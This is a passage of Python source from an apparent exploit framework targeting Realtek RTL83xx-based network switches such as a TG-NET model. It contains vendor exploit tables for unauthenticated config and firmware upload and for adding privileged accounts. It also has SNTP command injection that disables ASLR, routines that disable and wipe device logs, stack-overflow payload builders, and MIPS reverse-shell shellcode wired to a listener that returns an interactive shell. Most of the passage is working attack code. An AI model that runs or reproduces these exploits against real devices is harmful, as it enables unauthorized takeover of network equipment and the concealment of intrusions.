'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround': True,
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP&password=_PWDNOP_RA_START&login=1&shellcode=_USRNOP_USRNOP_USRNOP_SHELLCODE',
'workaround':True,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
'TG-NET': {
'vendor': 'Shenzhen TG-NET Botone Technology Co,. Ltd.',
'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=4353',
'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_4364=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'httpuploadfirmware.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadfirmware.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'httpupload_runstart_cfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload_runstart_cfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/tmp/startup-config',
'content_check':'/tmp/startup-config',
'vulnerable': True,
'safe': True
},
'version_upgrade.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")',
'uri':'/cgi-bin/version_upgrade.cgi',
'check_uri':'',
'content':'Firm Upgrade',
'content_check':'Firm Upgrade',
'vulnerable': True,
'safe': True
},
'factory_reset.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Reset device to factory default (PoC: Too dangerous to verify)',
'uri':'/cgi-bin/factory_reset.cgi',
'check_uri':'',
'content':'Too dangerous to verify',
'content_check':'dummy',
'vulnerable': True,
'safe': False
},
'sysinfo_config.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':False,
'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")',
'uri':'/cgi-bin/sysinfo_config.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'"/cgi-bin/change_mac_addr_set',
'vulnerable': True,
'safe': True
},
'change_mac_addr_set.cgi': {
'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/change_mac_addr_set.cgi',
'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'cmd=547',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':False,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':False,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
}
if self.ETag == 'report':
sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1]))
for targets in sorted_dict:
self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']])
self.source = Vendor_ETag[targets]
self.dict_merge(self.target,self.source)
print ""
tmp = "] {} {} v{} [".format(self.target['vendor'],self.target['model'],self.target['version'])
print "[{:=^78}]".format(tmp)
print self.target['uri']
print ""
LEN = len(self.target['exploit'])
for exploits in self.target['exploit']:
if not self.target['exploit'][exploits]['vulnerable']:
LEN = LEN - 1
tmp = "] {}({}) [".format("Exploits ",LEN)
print "[{:-^78}]".format(tmp)
for exploits in self.target['exploit']:
tmp = self.target['exploit'][exploits]
if self.target['exploit'][exploits]['vulnerable']:
log.success("{:.<54}[Authenticated: {}]\n{}\n".format(exploits, tmp['authenticated'] ,tmp['description']))
print ""
tmp = "] {}({}) [".format("Verification ",len(self.target['verify']))
print "[{:-^78}]".format(tmp)
for verification in self.target['verify']:
tmp = self.target['verify'][verification]
log.success("{:.<54}[Authenticated: {}]\n{}\n".format(verification, tmp['authenticated'] ,tmp['description']))
print ""
return False
elif self.ETag == 'help':
sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1]))
for targets in sorted_dict:
self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']])
self.source = Vendor_ETag[targets]
self.dict_merge(self.target,self.source)
log.info("ETag: {:<11} [{} {} v{}]".format(targets, self.target['vendor'],self.target['model'],self.target['version']))
print ""
return False
for check in Vendor_ETag.keys():
if check == self.ETag:
self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[check]['template']])
self.source = Vendor_ETag[check]
self.dict_merge(self.target,self.source)
return self.target
return False
class RTK_RTL83xx:
def __init__(self, rhost, proto, verbose, creds, Raw, lhost, lport):
self.rhost = rhost
self.proto = proto
self.verbose = verbose
self.credentials = creds
self.Raw = Raw
self.lhost = lhost
self.lport = lport
self.event = threading.Event()
self.headers = {
'Host':rhost,
'User-Agent':'Chrome'
}
def Workaround_logout(self):
try:
URI = '/cgi-bin/dispatcher.cgi?cmd=3'
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True)
return True
except Exception as e:
return True
pass
def clean_json(self, text):
self.text = text
start = 0
result = ''
for check in range(0,len(self.text)):
if self.text[check] == '{':
result += self.text[check]
start = start + 1
elif start:
result += self.text[check]
if self.text[check] == '}':
start = start - 1
return result
def random_string(self,length):
self.length = length
return 'A' * self.length
def md5hash(self, string, base64encode):
self.string = string
self.base64encode = base64encode
hash_object = hashlib.md5(self.string)
md5_hash = hash_object.hexdigest()
if self.base64encode:
return base64.b64encode(md5_hash)
else:
return md5_hash
def caesar_encode(self, string):
self.string = string
return ''.join(chr(32 + int(ord(self.string[char])) % 95) for char in range(0,len(self.string)))
def caesar_decode(self, string):
self.string = string
return ''.join(chr(int(ord(self.string[char])) - 32 % 95) for char in range(0,len(self.string)))
def obfuscation_encode(self, password):
self.password = password
text = ''
possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
self.password = self.password[:99]
inlen = len(self.password)
inlenn = len(self.password)
if (len((self.password) * 7) + 7) <= 320:
PASS_LEN = 321
else:
PASS_LEN = (len((self.password) * 7) + 7)
for i in xrange(1, PASS_LEN ,1):
if (0 == i % 7 and inlen > 0):
text += self.password[inlen-1]
inlen = inlen - 1
elif (i == 123):
if inlenn < 10:
text += '0'
else:
text += str(int(math.floor(inlenn / 10)))
elif (i == 289):
text += str(inlenn % 10)
else:
text += possible[int(math.floor(randint(0, len(possible)-1)))]
return text
def obfuscation_decode(self, password):
self.password = password
text = ''
for i in range(1, len(self.password) ):
if (0 == i % 7):
if len(text) == (int(self.password[122]) * 10) + int(self.password[288]):
break
text += self.password[i-1]
text = text[::-1]
return text
def netgear_hash(self, URI):
self.URI = URI
return '&hash=' + self.md5hash(URI.split("?")[1],False)
def _encrypt_RSA(self, modulus, passphrase, text):
key = RSA.construct((modulus, passphrase))
cipher = PKCS1_v1_5.new(key)
ciphertext = cipher.encrypt(text)
return ciphertext
def RSA_encrypt_params(self, cisco_modulus, password):
self.cisco_modulus = cisco_modulus
self.password = password
encrypted_passphrase = self._encrypt_RSA(string.atol(self.cisco_modulus, 16),
string.atol("10001", 16),
self.password)
return base64.b64encode(encrypted_passphrase)
def RSA_Password(self, string):
self.string = string
URI = target['modulus_uri']
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False)
result = json.loads(response.read())
if result['data']['modulus']:
cipher = self.RSA_encrypt_params(result['data']['modulus'], str(self.string))
else:
return self.string
return urllib.quote_plus(cipher)
def check_XSID(self, target):
self.target = target
if self.target['xsid']:
return True
else:
return False
def Cisco_XSID(self,target):
self.target = target
URI = target['xsid_uri']
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False)
result = json.loads(response.read())
if result['data']['modulus']:
cipher = self.RSA_encrypt_params(result['data']['modulus'],str(result['data']['xsid']))
return cipher
else:
return result['data']['xsid']
def shellcode(self):
MIPSeb = string.join([
"\x24\x0f\xff\xfa"
"\x01\xe0\x78\x27"
"\x21\xe4\xff\xfd"
"\x21\xe5\xff\xfd"
"\x28\x06\xff\xff"
"\x24\x02\x10\x57"
"\x01\x01\x01\x0c"
"\xaf\xa2\xff\xff"
"\x8f\xa4\xff\xff"
"\x34\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\xaf\xaf\xff\xe0"
"\x3c\x0ePP0PP1"
"\x35\xce\x7a\x69"
"\xaf\xae\xff\xe4"
"\x3c\x0eIP1IP2"
"\x35\xceIP3IP4"
"\xaf\xae\xff\xe6"
"\x27\xa5\xff\xe2"
"\x24\x0c\xff\xef"
"\x01\x80\x30\x27"
"\x24\x02\x10\x4a"
"\x01\x01\x01\x0c"
"\x24\x0f\xff\xfd"
"\x01\xe0\x28\x27"
"\x8f\xa4\xff\xff"
"\x24\x02\x0f\xdf"
"\x01\x01\x01\x0c"
"\x24\xa5\xff\xff"
"\x24\x01\xff\xff"
"\x14\xa1\xff\xfb"
"\x28\x06\xff\xff"
"\x3c\x0f\x2f\x2f"
"\x35\xef\x62\x69"
"\xaf\xaf\xff\xec"
"\x3c\x0e\x6e\x2f"
"\x35\xce\x73\x68"
"\xaf\xae\xff\xf0"
"\xaf\xa0\xff\xf4"
"\x27\xa4\xff\xec"
"\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc"
"\x27\xa5\xff\xf8"
"\x24\x02\x0f\xab"
"\x01\x01\x01\x0c"
"\x8f\x84\x80\x18"
], '')
ip_hex = '{:02x} {:02x} {:02x} {:02x}'.format(*map(int, self.lhost.split('.')))
ip_hex = ip_hex.split()
IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];
port_hex = hex(int(self.lport))[2:]
port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
port_hex = port_hex.split()
if len(port_hex) == 1:
port_hex = ('00' + ' ' + ''.join(port_hex)).split()
MIPSeb = MIPSeb.replace('PP0',chr(int(port_hex[0],16)))
MIPSeb = MIPSeb.replace('PP1',chr(int(port_hex[1],16)))
MIPSeb = MIPSeb.replace('IP1',chr(int(IP1,16)))
MIPSeb = MIPSeb.replace('IP2',chr(int(IP2,16)))
MIPSeb = MIPSeb.replace('IP3',chr(int(IP3,16)))
MIPSeb = MIPSeb.replace('IP4',chr(int(IP4,16)))
return MIPSeb
def heack_hydra_shell(self, target):
self.target = target
if not self.target['exploit']['heack_hydra_shell']['vulnerable']:
log.failure("Not listed as vulnerable")
return False
timeout = 20
socket.setdefaulttimeout(timeout)
thread.start_new_thread(self.heack_hydra_exploit,("heack_hydra_exploit",self.target,))
lsock = listen(port=self.lport)
c = lsock.wait_for_connection()
if not self.event.is_set():
c.interactive(prompt = '# ')
return True
else:
log.failure("Got internal connection to quit")
c.close()
return False
def heack_hydra_exploit(self, threadName, target):
self.threadName = threadName
self.target = target
CRLF_NOP = 0x24060d0a
NOP = 0x2406ffff
JUMP = 0x04110111
query_args = ''
if self.target.get('hash_uri'):
query_args += struct.pack('>L',(self.target['exploit']['heack_hydra_shell']['gadget'])) * 76
else:
query_args += (struct.pack('>L',NOP) * 73) + struct.pack('>L',JUMP) + struct.pack('>L',NOP)
query_args += struct.pack('>L',(self.target['exploit']['heack_hydra_shell']['gadget'] + 0x58000000))
query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) * 2
query_args += (struct.pack('>L',NOP) * 74) + struct.pack('>L',CRLF_NOP)
query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) * self.target['exploit']['heack_hydra_shell']['v0']
query_args += struct.pack('>L',0x24020fa2)
query_args += struct.pack('>L',0x0101010c)
query_args += struct.pack('>L',0x1c400101)
query_args += ((struct.pack('>L',NOP) * 60) + struct.pack('>L',CRLF_NOP))
query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP))
query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP))
query_args += self.shellcode()
query_args += ((struct.pack('>L',NOP) * 17) + struct.pack('>L',CRLF_NOP))
query_args += (struct.pack('>L',NOP) * 59)
query_args += struct.pack('>L',0x8f848018)
query_args += struct.pack('>L',self.target['exploit']['heack_hydra_shell']['system'])
query_args += struct.pack('>L',0x0320f809)
query_args += struct.pack('>L',self.target['exploit']['heack_hydra_shell']['handler'])
query_args += struct.pack('>L',CRLF_NOP)
URI = self.target['exploit']['heack_hydra_shell']['uri'] + (struct.pack('>L',NOP) * 247) + struct.pack('>L',JUMP) + struct.pack('>L',NOP)
if self.target.get('hash_uri'):
URI = self.target['exploit']['heack_hydra_shell']['uri']
URI += '&&'
URI += self.netgear_hash(URI)
MESSAGE = 'POST '+ URI + ' HTTP/1.1\r\n'
MESSAGE += 'Content-Length: 3133337\r\n'
MESSAGE += 'Host:PWN' + '\r\n\r\n'
DEBUG("SEND",MESSAGE)
MESSAGE += query_args
log.success("Payload: {} bytes, $v0: {}".format(len(query_args),hex(len(query_args)) ))
self.rport = int(self.rhost.split(":")[1])
self.rhost = self.rhost.split(":")[0]
try:
r = remote(self.rhost,self.rport,ssl=False)
except Exception as e:
self.event.set()
remote("127.0.0.1",self.lport,ssl=False)
return False
try:
r.send(MESSAGE)
r.close()
except Exception as e:
self.event.set()
remote("127.0.0.1",self.lport,ssl=False)
return False
def heack_shell(self, target):
self.target = target
if not self.target['exploit']['heack_cgi_shell']['vulnerable']:
log.failure("Not listed as vulnerable")
return False
thread.start_new_thread(self.heack_exploit,("heack_exploit",self.target))
l = listen(port=lport)
c = l.wait_for_connection()
if not self.event.is_set():
self.event.set()
c.interactive(prompt = '# ')
return True
else:
log.failure("Got internal connection to quit")
c.close()
return False
def heack_exploit(self, threadName, target):
self.threadName = threadName
self.target = target
time.sleep(2)
shell = log.progress('shellcode')
self.Workaround = self.target['exploit']['heack_cgi_shell']['workaround']
NOP = 0x2406ffff
START = self.target['exploit']['heack_cgi_shell']['START']
if self.target['exploit']['heack_cgi_shell']['stack']:
EXPR = (START > self.target['exploit']['heack_cgi_shell']['STOP'])
else:
EXPR = (START < self.target['exploit']['heack_cgi_shell']['STOP'])
while EXPR:
if self.Workaround:
self.Workaround_logout()
shell.status("{} searching".format(hex(START)))
query_args = self.target['exploit']['heack_cgi_shell']['query']
query_args = query_args.replace("_ALIGN",self.random_string(self.target['exploit']['heack_cgi_shell']['align']))
query_args = query_args.replace("_USRNOP",struct.pack('>L',NOP) * self.target['exploit']['heack_cgi_shell']['usr_nop'])
query_args = query_args.replace("_SHELLCODE",self.shellcode())
query_args = query_args.replace("_PWDNOP",struct.pack('>L',NOP) * self.target['exploit']['heack_cgi_shell']['pwd_nop'])
if self.target['login']['encryption'] == 'caesar':
query_args = query_args.replace("_RA_START",struct.pack('>L',START + 0xc1c1c1c1))
else:
query_args = query_args.replace("_RA_START",struct.pack('>L',START))
try:
URI = self.target['exploit']['heack_cgi_shell']['login_uri']
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
except Exception as e:
if e.code == 502:
pass
else:
shell.failure(str(e))
self.event.set()
r = remote("127.0.0.1",self.lport,ssl=False)
r.close()
return False
if self.event.is_set():
shell.success("{} <= found".format(hex(START)))
return True
if self.target['exploit']['heack_cgi_shell']['stack']:
START = START - 0x30
else:
START = START + 0xC00
shell.failure("Not found, play with start/stop addresses?")
self.event.set()
r = remote("127.0.0.1",self.lport,ssl=False)
r.close()
return False
def stack_add_account(self, target):
self.target = target
account = log.progress("Stack ADD Account")
if not self.target['exploit']['stack_cgi_add_account']['vulnerable']:
account.failure("Not listed as vulnerable")
return False
URI = self.target['exploit']['stack_cgi_add_account']['uri']
log.info("Credentials: {}/{}".format(str(self.credentials.split(':')[0]),str(self.credentials.split(':')[1])))
self.Workaround = self.target['exploit']['stack_cgi_add_account']['workaround']
if self.Workaround:
self.Workaround_logout()
try:
time.sleep(1)
query_args = self.target['exploit']['stack_cgi_add_account']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_add_account']['address'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_add_account']['account'])
query_args = query_args.replace("USERNAME",str(self.credentials.split(':')[0]))
query_args = query_args.replace("PASSWORD",str(self.credentials.split(':')[1]))
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
account.failure(response.code)
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
account.success("success")
if self.Workaround:
self.Workaround_logout()
pass
else:
account.failure(str(e))
return False
def stack_del_account(self, target):
self.target = target
account = log.progress("Stack DEL Account")
if not self.target['exploit']['stack_cgi_del_account']['vulnerable']:
account.failure("Not listed as vulnerable")
return False
URI = self.target['exploit']['stack_cgi_del_account']['uri']
self.Workaround = self.target['exploit']['stack_cgi_del_account']['workaround']
if self.Workaround:
self.Workaround_logout()
try:
time.sleep(1)
query_args = self.target['exploit']['stack_cgi_del_account']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_del_account']['address'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_del_account']['account'])
query_args = query_args.replace("USERNAME",self.credentials.split(':')[0])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
account.failure(response.code)
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
account.success("success")
if self.Workaround:
self.Workaround_logout()
pass
else:
account.failure(str(e))
return False
def stack_cgi_diag(self, target):
self.target = target
ping = log.progress("Stack DIAG")
if not self.target['exploit']['heack_cgi_shell']['stack']:
ping.success("heap selected (ASLR == False)")
return True
if not self.target['exploit']['stack_cgi_diag']['vulnerable']:
ping.failure("Not listed as vulnerable")
return False
ASLR_ENABLED = True
URI = self.target['exploit']['stack_cgi_diag']['uri']
self.Workaround = self.target['exploit']['stack_cgi_diag']['workaround']
if self.Workaround:
self.Workaround_logout()
try:
time.sleep(1)
ping.status("Injecting to disable")
query_args = self.target['exploit']['stack_cgi_diag']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_diag']['web_sys_ping_post'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_diag']['sys_ping_post_cmd'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.target['exploit']['stack_cgi_diag']['sys_ping_post_SIGSEGV']:
if self.Workaround:
self.Workaround_logout()
ping.failure("Disable Injection: Failed!")
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
ping.status("Done")
if self.Workaround:
self.Workaround_logout()
pass
else:
ping.failure(str(e))
return False
if self.target['exploit']['stack_cgi_diag']['sys_ping_post_check']:
try:
time.sleep(1)
ping.status("Injecting to verify")
query_args = self.target['exploit']['stack_cgi_diag']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_diag']['web_sys_ping_post'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_diag']['sys_ping_post_check'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.Workaround:
self.Workaround_logout()
ping.failure("Verify Injection: Failed!")
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
time.sleep(1)
ping.status("Verifying ASLR")
if self.Workaround:
self.Workaround_logout()
else:
ping.failure(str(e))
return False
try:
time.sleep(1)
URI = self.target['exploit']['stack_cgi_diag']['verify_uri']
DEBUG("SEND",URI)
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False)
response = response.read().split()
DEBUG("RECV",response)
if response[0] == '0':
ping.success("ASLR disabled")
return True
else:
ping.failure("ASLR still enabled")
return False
except Exception as e:
DEBUG("RECV",str(e))
if force:
ping.success("Forcing... ASLR might been disabled")
return True
else:
ping.failure(str(e))
log.failure("You can try with --force, some FW do not process correctly after ASLR been disabled")
log.failure("or you can give --auth_shell a try instead")
return False
def stack_cgi_sntp(self, target):
self.target = target
SNTP = log.progress("Stack SNTP")
if not self.target['exploit']['heack_cgi_shell']['stack']:
SNTP.success("heap selected (ASLR == False)")
return True
if not self.target['exploit']['stack_cgi_sntp']['vulnerable']:
SNTP.failure("Not listed as vulnerable")
return False
ASLR_ENABLED = True
URI = self.target['exploit']['stack_cgi_sntp']['uri']
self.Workaround = self.target['exploit']['stack_cgi_sntp']['workaround']
if self.Workaround:
self.Workaround_logout()
try:
time.sleep(1)
SNTP.status("Enable SNTP")
query_args = self.target['exploit']['stack_cgi_sntp']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_cmd_enable'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_SIGSEGV']:
SNTP.failure("Enable SNTP: Failed!")
return False
if self.Workaround:
self.Workaround_logout()
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
SNTP.status("SNTP Enabled")
if self.Workaround:
self.Workaround_logout()
pass
else:
SNTP.failure(str(e))
return False
try:
time.sleep(1)
SNTP.status("Injecting to disable")
query_args = self.target['exploit']['stack_cgi_sntp']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_cmd'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.Workaround:
self.Workaround_logout()
SNTP.failure("Disable Injection: Failed!")
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
SNTP.status("Done")
if self.Workaround:
self.Workaround_logout()
pass
else:
SNTP.failure(str(e))
return False
if self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_check']:
try:
time.sleep(1)
SNTP.status("Injecting to verify")
query_args = self.target['exploit']['stack_cgi_sntp']['content']
query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set'] + 0x58000000)) )
query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_check'])
DEBUG("SEND",(URI, query_args))
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False)
DEBUG("RECV",response.read())
if self.Workaround:
self.Workaround_logout()
SNTP.failure("Verify Injection: Failed!")
return False
except Exception as e:
DEBUG("RECV",str(e))
if e.code == 502:
pass
else:
SNTP.failure(str(e))
return False
SNTP.status("Verifying ASLR")
if self.Workaround:
self.Workaround_logout()
try:
time.sleep(1)
URI = self.target['exploit']['stack_cgi_sntp']['verify_uri']
DEBUG("SEND",URI)
